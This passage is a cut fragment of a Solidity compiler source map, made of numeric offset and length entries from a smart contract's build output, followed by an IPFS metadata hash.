:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:356::-;5073:2;5055:21;;;5092:18;;;5085:30;5151:34;5146:2;5131:18;;5124:62;5218:2;5203:18;;4871:356::o;5584:251::-;5654:6;5707:2;5695:9;5686:7;5682:23;5678:32;5675:52;;;5723:1;5720;5713:12;5675:52;5755:9;5749:16;5774:31;5799:5;5774:31;:::i;6753:456::-;6841:6;6849;6857;6910:2;6898:9;6889:7;6885:23;6881:32;6878:52;;;6926:1;6923;6916:12;6878:52;-1:-1:-1;;6971:16:1;;7077:2;7062:18;;7056:25;7173:2;7158:18;;;7152:25;6971:16;;7056:25;;-1:-1:-1;7152:25:1;6753:456;-1:-1:-1;6753:456:1:o;7493:277::-;7560:6;7613:2;7601:9;7592:7;7588:23;7584:32;7581:52;;;7629:1;7626;7619:12;7581:52;7661:9;7655:16;7714:5;7707:13;7700:21;7693:5;7690:32;7680:60;;7736:1;7733;7726:12;9803:128;9870:9;;;9891:11;;;9888:37;;;9905:18;;:::i;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i;10775:135::-;10814:3;10835:17;;;10832:43;;10855:18;;:::i;:::-;-1:-1:-1;10902:1:1;10891:13;;10775:135::o;10915:127::-;10976:10;10971:3;10967:20;10964:1;10957:31;11007:4;11004:1;10997:15;11031:4;11028:1;11021:15;11179:959;11441:4;11489:3;11478:9;11474:19;11520:6;11509:9;11502:25;11563:6;11558:2;11547:9;11543:18;11536:34;11606:3;11601:2;11590:9;11586:18;11579:31;11630:6;11665;11659:13;11696:6;11688;11681:22;11734:3;11723:9;11719:19;11712:26;;11773:2;11765:6;11761:15;11747:29;;11794:1;11804:195;11818:6;11815:1;11812:13;11804:195;;;11883:13;;-1:-1:-1;;;;;11879:39:1;11867:52;;11948:2;11974:15;;;;11939:12;;;;11915:1;11833:9;11804:195;;;-1:-1:-1;;;;;;;12055:32:1;;;;12050:2;12035:18;;12028:60;-1:-1:-1;;12119:3:1;12104:19;12097:35;12016:3;11179:959;-1:-1:-1;;;11179:959:1:o;12143:217::-;12183:1;12209;12199:132;;12253:10;12248:3;12244:20;12241:1;12234:31;12288:4;12285:1;12278:15;12316:4;12313:1;12306:15;12199:132;-1:-1:-1;12345:9:1;;12143:217::o

ipfs://1542cdf13a71420166ef39e8d9c72b74b5e8b5b17bfb384a47ed2de369ea73ec